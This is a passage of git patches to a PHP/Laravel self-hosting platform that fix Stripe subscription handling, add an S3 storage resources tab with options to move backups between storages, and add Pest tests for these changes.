Revert subscription quantity on Stripe - $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ - 'items' => [ - ['id' => $item->id, 'quantity' => $previousQuantity], - ], - 'proration_behavior' => 'none', - ]); + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $previousQuantity], + ], + 'proration_behavior' => 'none', + ]); + } catch (\Exception $revertException) { + \Log::critical("Failed to revert Stripe quantity for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Stripe may have quantity {$quantity} but local is {$previousQuantity}. Error: ".$revertException->getMessage()); + send_internal_notification( + "CRITICAL: Stripe quantity revert failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual reconciliation required." + ); + } // Void the unpaid invoice if ($latestInvoice->id) { diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php index e61ac81e4..f5d52f29c 100644 --- a/app/Jobs/StripeProcessJob.php +++ b/app/Jobs/StripeProcessJob.php @@ -2,6 +2,7 @@ namespace App\Jobs; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Subscription; use App\Models\Team; use Illuminate\Contracts\Queue\ShouldBeEncrypted; @@ -238,6 +239,7 @@ public function handle(): void 'stripe_invoice_paid' => false, ]); } + break; case 'customer.subscription.updated': $teamId = data_get($data, 'metadata.team_id'); $userId = data_get($data, 'metadata.user_id'); @@ -272,14 +274,14 @@ public function handle(): void $comment = data_get($data, 'cancellation_details.comment'); $lookup_key = data_get($data, 'items.data.0.price.lookup_key'); if (str($lookup_key)->contains('dynamic')) { - $quantity = data_get($data, 'items.data.0.quantity', 2); + $quantity = min((int) data_get($data, 'items.data.0.quantity', 2), UpdateSubscriptionQuantity::MAX_SERVER_LIMIT); $team = data_get($subscription, 'team'); if ($team) { $team->update([ 'custom_server_limit' => $quantity, ]); + ServerLimitCheckJob::dispatch($team); } - ServerLimitCheckJob::dispatch($team); } $subscription->update([ 'stripe_feedback' => $feedback, diff --git a/app/Jobs/VerifyStripeSubscriptionStatusJob.php b/app/Jobs/VerifyStripeSubscriptionStatusJob.php index cf7c3c0ea..f7addacf1 100644 --- a/app/Jobs/VerifyStripeSubscriptionStatusJob.php +++ b/app/Jobs/VerifyStripeSubscriptionStatusJob.php @@ -82,12 +82,9 @@ public function handle(): void 'stripe_past_due' => false, ]); - // Trigger subscription ended logic if canceled - if ($stripeSubscription->status === 'canceled') { - $team = $this->subscription->team; - if ($team) { - $team->subscriptionEnded(); - } + $team = $this->subscription->team; + if ($team) { + $team->subscriptionEnded(); } break; diff --git a/app/Models/Team.php b/app/Models/Team.php index e32526169..10b22b4e1 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -197,6 +197,10 @@ public function isAnyNotificationEnabled() public function subscriptionEnded() { + if (! $this->subscription) { + return; + } + $this->subscription->update([ 'stripe_subscription_id' => null, 'stripe_cancel_at_period_end' => false, diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php index b6c2d4064..144cdad09 100644 --- a/tests/Feature/Subscription/RefundSubscriptionTest.php +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -251,6 +251,56 @@ expect($result['error'])->toContain('No payment intent'); }); + test('records refund and proceeds when cancel fails', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + // Cancel throws — simulating Stripe failure after refund + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andThrow(new \Exception('Stripe cancel API error')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + // Should still succeed — refund went through + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + // Refund timestamp must be recorded + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + // Subscription should still be marked as ended locally + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); + }); + test('fails when subscription is past refund window', function () { $stripeSubscription = (object) [ 'status' => 'active', diff --git a/tests/Feature/Subscription/StripeProcessJobTest.php b/tests/Feature/Subscription/StripeProcessJobTest.php new file mode 100644 index 000000000..95cff188a --- /dev/null +++ b/tests/Feature/Subscription/StripeProcessJobTest.php @@ -0,0 +1,143 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + config()->set('subscription.stripe_excluded_plans', ''); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); +}); + +describe('customer.subscription.created does not fall through to updated', function () { + test('created event creates subscription without setting stripe_invoice_paid to true', function () { + Queue::fake(); + + $event = [ + 'type' => 'customer.subscription.created', + 'data' => [ + 'object' => [ + 'customer' => 'cus_new_123', + 'id' => 'sub_new_123', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $subscription = Subscription::where('team_id', $this->team->id)->first(); + + expect($subscription)->not->toBeNull(); + expect($subscription->stripe_subscription_id)->toBe('sub_new_123'); + expect($subscription->stripe_customer_id)->toBe('cus_new_123'); + // Critical: stripe_invoice_paid must remain false — payment not yet confirmed + expect($subscription->stripe_invoice_paid)->toBeFalsy(); + }); +}); + +describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () { + test('quantity exceeding MAX is clamped to 100', function () { + Queue::fake(); + + Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_existing', + 'stripe_customer_id' => 'cus_clamp_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_clamp_test', + 'id' => 'sub_existing', + 'status' => 'active', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_existing', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 999, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(100); + + Queue::assertPushed(ServerLimitCheckJob::class); + }); +}); + +describe('ServerLimitCheckJob dispatch is guarded by team check', function () { + test('does not dispatch ServerLimitCheckJob when team is null', function () { + Queue::fake(); + + // Create subscription without a valid team relationship + $subscription = Subscription::create([ + 'team_id' => 99999, + 'stripe_subscription_id' => 'sub_orphan', + 'stripe_customer_id' => 'cus_orphan_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_orphan_test', + 'id' => 'sub_orphan', + 'status' => 'active', + 'metadata' => [ + 'team_id' => null, + 'user_id' => null, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_orphan', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 5, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); +}); diff --git a/tests/Feature/Subscription/TeamSubscriptionEndedTest.php b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php new file mode 100644 index 000000000..55d59e0e6 --- /dev/null +++ b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php @@ -0,0 +1,16 @@ +create(); + + // Should return early without error — no NPE + $team->subscriptionEnded(); + + // If we reach here, no exception was thrown + expect(true)->toBeTrue(); +}); diff --git a/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php new file mode 100644 index 000000000..be8661b6c --- /dev/null +++ b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php @@ -0,0 +1,102 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_verify_123', + 'stripe_customer_id' => 'cus_verify_123', + 'stripe_invoice_paid' => true, + 'stripe_past_due' => false, + ]); +}); + +test('subscriptionEnded is called for unpaid status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'unpaid', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + // Create a server to verify it gets disabled + $server = Server::factory()->create(['team_id' => $this->team->id]); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for incomplete_expired status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'incomplete_expired', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for canceled status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'canceled', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); From ca3ae289eb7f48bac23ae143ff5c1416b14ab72e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 11:42:29 +0100 Subject: [PATCH 41/51] feat(storage): add resources tab and improve S3 deletion handling Add new Resources tab to storage show page displaying backup schedules using that storage. Refactor storage show layout with navigation tabs for General and Resources sections. Move delete action from form to show component. Implement cascade deletion in S3Storage model to automatically disable S3 backups when storage is deleted. Improve error handling in DatabaseBackupJob to throw exception when S3 storage is missing instead of silently returning. - New Storage/Resources Livewire component - Add resources.blade.php view - Add storage.resources route - Move delete() method from Form to Show component - Add deleting event listener to S3Storage model - Track backup count and current route in Show component - Add #[On('submitStorage')] attribute to form submission --- app/Jobs/DatabaseBackupJob.php | 12 +- app/Livewire/Storage/Form.php | 15 +-- app/Livewire/Storage/Resources.php | 23 ++++ app/Livewire/Storage/Show.php | 20 ++++ app/Models/S3Storage.php | 12 ++ .../views/livewire/storage/form.blade.php | 31 ----- .../livewire/storage/resources.blade.php | 62 ++++++++++ .../views/livewire/storage/show.blade.php | 48 +++++++- routes/web.php | 1 + tests/Feature/DatabaseBackupJobTest.php | 109 ++++++++++++++++++ 10 files changed, 285 insertions(+), 48 deletions(-) create mode 100644 app/Livewire/Storage/Resources.php create mode 100644 resources/views/livewire/storage/resources.blade.php diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 5fc9f6cd8..b55c324be 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -625,10 +625,16 @@ private function calculate_size() private function upload_to_s3(): void { + if (is_null($this->s3)) { + $this->backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.'); + } + try { - if (is_null($this->s3)) { - return; - } $key = $this->s3->key; $secret = $this->s3->secret; // $region = $this->s3->region; diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 4dc0b6ae2..791226334 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -6,6 +6,7 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; +use Livewire\Attributes\On; use Livewire\Component; class Form extends Component @@ -131,19 +132,7 @@ public function testConnection() } } - public function delete() - { - try { - $this->authorize('delete', $this->storage); - - $this->storage->delete(); - - return redirect()->route('storage.index'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - + #[On('submitStorage')] public function submit() { try { diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php new file mode 100644 index 000000000..f17175013 --- /dev/null +++ b/app/Livewire/Storage/Resources.php @@ -0,0 +1,23 @@ +storage->id) + ->with('database') + ->get(); + + return view('livewire.storage.resources', [ + 'backups' => $backups, + ]); + } +} diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index fdf3d0d28..dc5121e94 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Models\ScheduledDatabaseBackup; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -12,6 +13,10 @@ class Show extends Component public $storage = null; + public string $currentRoute = ''; + + public int $backupCount = 0; + public function mount() { $this->storage = S3Storage::ownedByCurrentTeam()->whereUuid(request()->storage_uuid)->first(); @@ -19,6 +24,21 @@ public function mount() abort(404); } $this->authorize('view', $this->storage); + $this->currentRoute = request()->route()->getName(); + $this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count(); + } + + public function delete() + { + try { + $this->authorize('delete', $this->storage); + + $this->storage->delete(); + + return redirect()->route('storage.index'); + } catch (\Throwable $e) { + return handleError($e, $this); + } } public function render() diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 3aae55966..f395a065c 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -40,6 +40,13 @@ protected static function boot(): void $storage->secret = trim($storage->secret); } }); + + static::deleting(function (S3Storage $storage) { + ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + }); } public static function ownedByCurrentTeam(array $select = ['*']) @@ -59,6 +66,11 @@ public function team() return $this->belongsTo(Team::class); } + public function scheduledBackups() + { + return $this->hasMany(ScheduledDatabaseBackup::class, 's3_storage_id'); + } + public function awsUrl() { return "{$this->endpoint}/{$this->bucket}"; diff --git a/resources/views/livewire/storage/form.blade.php b/resources/views/livewire/storage/form.blade.php index 850d7735f..3d9fd322b 100644 --- a/resources/views/livewire/storage/form.blade.php +++ b/resources/views/livewire/storage/form.blade.php @@ -1,36 +1,5 @@
-
-
-

Storage Details

-
{{ $storage->name }}
-
-
Current Status:
- @if ($isUsable) - - Usable - - @else - - Not Usable - - @endif -
-
- Save - - @can('delete', $storage) - - @endcan -
diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php new file mode 100644 index 000000000..29d26d4f5 --- /dev/null +++ b/resources/views/livewire/storage/resources.blade.php @@ -0,0 +1,62 @@ +
+
+ @forelse ($backups as $backup) + @php + $database = $backup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $link = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; + $project = $environment?->project; + if ($project && $environment) { + $link = route('project.service.configuration', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]); + } + } + } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $link = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + @endphp + @if ($link) + + @else + + @endif + @empty +
+
No backup schedules are using this storage.
+
+ @endforelse +
+
diff --git a/resources/views/livewire/storage/show.blade.php b/resources/views/livewire/storage/show.blade.php index 1c3a11a69..e54de37f3 100644 --- a/resources/views/livewire/storage/show.blade.php +++ b/resources/views/livewire/storage/show.blade.php @@ -2,5 +2,51 @@ {{ data_get_str($storage, 'name')->limit(10) }} >Storages | Coolify - + +
+

Storage Details

+ @if ($storage->is_usable) + + Usable + + @else + + Not Usable + + @endif + Save + @can('delete', $storage) + + @endcan +
+
{{ $storage->name }}
+ +
+ +
+ @if ($currentRoute === 'storage.show') + + @elseif ($currentRoute === 'storage.resources') + + @endif +
diff --git a/routes/web.php b/routes/web.php index 26863aa17..27763f121 100644 --- a/routes/web.php +++ b/routes/web.php @@ -140,6 +140,7 @@ Route::prefix('storages')->group(function () { Route::get('/', StorageIndex::class)->name('storage.index'); Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show'); + Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources'); }); Route::prefix('shared-variables')->group(function () { Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index'); diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php index d7efc2bcd..37c377dab 100644 --- a/tests/Feature/DatabaseBackupJobTest.php +++ b/tests/Feature/DatabaseBackupJobTest.php @@ -1,6 +1,10 @@ toHaveKey('s3_storage_deleted'); expect($casts['s3_storage_deleted'])->toBe('boolean'); }); + +test('upload_to_s3 throws exception and disables s3 when storage is null', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => 99999, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => Team::factory()->create()->id, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + $s3Property = $reflection->getProperty('s3'); + $s3Property->setValue($job, null); + + $method = $reflection->getMethod('upload_to_s3'); + + expect(fn () => $method->invoke($job)) + ->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); +}); + +test('deleting s3 storage disables s3 on linked backups', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + $backup1 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + $backup2 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandaloneMysql', + 'database_id' => 2, + 'team_id' => $team->id, + ]); + + // Unrelated backup should not be affected + $unrelatedBackup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => null, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 3, + 'team_id' => $team->id, + ]); + + $s3->delete(); + + $backup1->refresh(); + $backup2->refresh(); + $unrelatedBackup->refresh(); + + expect($backup1->save_s3)->toBeFalsy(); + expect($backup1->s3_storage_id)->toBeNull(); + expect($backup2->save_s3)->toBeFalsy(); + expect($backup2->s3_storage_id)->toBeNull(); + expect($unrelatedBackup->save_s3)->toBeTruthy(); +}); + +test('s3 storage has scheduled backups relationship', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + expect($s3->scheduledBackups()->count())->toBe(1); +}); From 86c8ec9c20b7f2f4dcc8ed1b75efa39b7b2b2763 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 12:04:16 +0100 Subject: [PATCH 42/51] feat(storage): group backups by database and filter by s3 status Group backup schedules by their parent database (type + ID) for better organization in the UI. Filter to only display backups with save_s3 enabled. Restructure the template to show database name as a header with nested backups underneath, allowing clearer visualization of which backups belong to each database. Add key binding to livewire component to ensure proper re-rendering when resources change. --- app/Livewire/Storage/Resources.php | 6 +- .../livewire/storage/resources.blade.php | 123 ++++++++++-------- .../views/livewire/storage/show.blade.php | 2 +- 3 files changed, 76 insertions(+), 55 deletions(-) diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index f17175013..30ac67066 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -13,11 +13,13 @@ class Resources extends Component public function render() { $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) ->with('database') - ->get(); + ->get() + ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); return view('livewire.storage.resources', [ - 'backups' => $backups, + 'groupedBackups' => $backups, ]); } } diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php index 29d26d4f5..4fdef1e4b 100644 --- a/resources/views/livewire/storage/resources.blade.php +++ b/resources/views/livewire/storage/resources.blade.php @@ -1,62 +1,81 @@
-
- @forelse ($backups as $backup) - @php - $database = $backup->database; - $databaseName = $database?->name ?? 'Deleted database'; - $link = null; - if ($database && $database instanceof \App\Models\ServiceDatabase) { - $service = $database->service; - if ($service) { - $environment = $service->environment; - $project = $environment?->project; - if ($project && $environment) { - $link = route('project.service.configuration', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'service_uuid' => $service->uuid, - ]); - } - } - } elseif ($database) { - $environment = $database->environment; + @forelse ($groupedBackups as $backups) + @php + $firstBackup = $backups->first(); + $database = $firstBackup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $resourceLink = null; + $backupParams = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; $project = $environment?->project; if ($project && $environment) { - $link = route('project.database.backup.index', [ + $resourceLink = route('project.service.configuration', [ 'project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, + 'service_uuid' => $service->uuid, ]); } } - @endphp - @if ($link) - - @else - - @endif - @empty -
-
No backup schedules are using this storage.
+ } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + $backupParams = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]; + } + } + @endphp +
+
+ @if ($resourceLink) + {{ $databaseName }} + @else + {{ $databaseName }} + @endif
- @endforelse -
+
+ @foreach ($backups as $backup) + @php + $backupLink = null; + if ($backupParams) { + $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ + 'backup_uuid' => $backup->uuid, + ])); + } + @endphp + @if ($backupLink) + + @else + + @endif + @endforeach +
+
+ @empty +
No backup schedules are using this storage.
+ @endforelse
diff --git a/resources/views/livewire/storage/show.blade.php b/resources/views/livewire/storage/show.blade.php index e54de37f3..0d580486e 100644 --- a/resources/views/livewire/storage/show.blade.php +++ b/resources/views/livewire/storage/show.blade.php @@ -46,7 +46,7 @@ @if ($currentRoute === 'storage.show') @elseif ($currentRoute === 'storage.resources') - + @endif
From ce5e736b00d493ab2863b3ab666d50d8a8c1e0e8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 12:48:52 +0100 Subject: [PATCH 43/51] feat(storage): add storage management for backup schedules Add ability to move backups between S3 storages and disable S3 backups. Refactor storage resources view from cards to table layout with search functionality and storage selection dropdowns. --- app/Livewire/Storage/Resources.php | 60 ++++++ resources/css/app.css | 2 +- .../livewire/storage/resources.blade.php | 182 ++++++++++-------- 3 files changed, 165 insertions(+), 79 deletions(-) diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 30ac67066..643ecb3eb 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -10,6 +10,61 @@ class Resources extends Component { public S3Storage $storage; + public array $selectedStorages = []; + + public function mount(): void + { + $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) + ->get(); + + foreach ($backups as $backup) { + $this->selectedStorages[$backup->id] = $this->storage->id; + } + } + + public function disableS3(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + + $backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + } + + public function moveBackup(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $newStorageId = $this->selectedStorages[$backupId] ?? null; + + if (! $newStorageId || (int) $newStorageId === $this->storage->id) { + $this->dispatch('error', 'No change.', 'The backup is already using this storage.'); + + return; + } + + $newStorage = S3Storage::where('id', $newStorageId) + ->where('team_id', $this->storage->team_id) + ->first(); + + if (! $newStorage) { + $this->dispatch('error', 'Storage not found.'); + + return; + } + + $backup->update(['s3_storage_id' => $newStorage->id]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}."); + } + public function render() { $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) @@ -18,8 +73,13 @@ public function render() ->get() ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); + $allStorages = S3Storage::where('team_id', $this->storage->team_id) + ->orderBy('name') + ->get(['id', 'name', 'is_usable']); + return view('livewire.storage.resources', [ 'groupedBackups' => $backups, + 'allStorages' => $allStorages, ]); } } diff --git a/resources/css/app.css b/resources/css/app.css index eeba1ee01..3cfa03dae 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -163,7 +163,7 @@ tbody { } tr { - @apply text-black dark:text-neutral-400 dark:hover:bg-black hover:bg-neutral-200; + @apply text-black dark:text-neutral-400 dark:hover:bg-coolgray-300 hover:bg-neutral-100; } tr th { diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php index 4fdef1e4b..481e7ccab 100644 --- a/resources/views/livewire/storage/resources.blade.php +++ b/resources/views/livewire/storage/resources.blade.php @@ -1,81 +1,107 @@ -
- @forelse ($groupedBackups as $backups) - @php - $firstBackup = $backups->first(); - $database = $firstBackup->database; - $databaseName = $database?->name ?? 'Deleted database'; - $resourceLink = null; - $backupParams = null; - if ($database && $database instanceof \App\Models\ServiceDatabase) { - $service = $database->service; - if ($service) { - $environment = $service->environment; - $project = $environment?->project; - if ($project && $environment) { - $resourceLink = route('project.service.configuration', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'service_uuid' => $service->uuid, - ]); - } - } - } elseif ($database) { - $environment = $database->environment; - $project = $environment?->project; - if ($project && $environment) { - $resourceLink = route('project.database.backup.index', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]); - $backupParams = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]; - } - } - @endphp -
-
- @if ($resourceLink) - {{ $databaseName }} - @else - {{ $databaseName }} - @endif -
-
- @foreach ($backups as $backup) - @php - $backupLink = null; - if ($backupParams) { - $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ - 'backup_uuid' => $backup->uuid, - ])); - } - @endphp - @if ($backupLink) - - @else - - @endif - @endforeach +
+ + @if ($groupedBackups->count() > 0) +
+
+
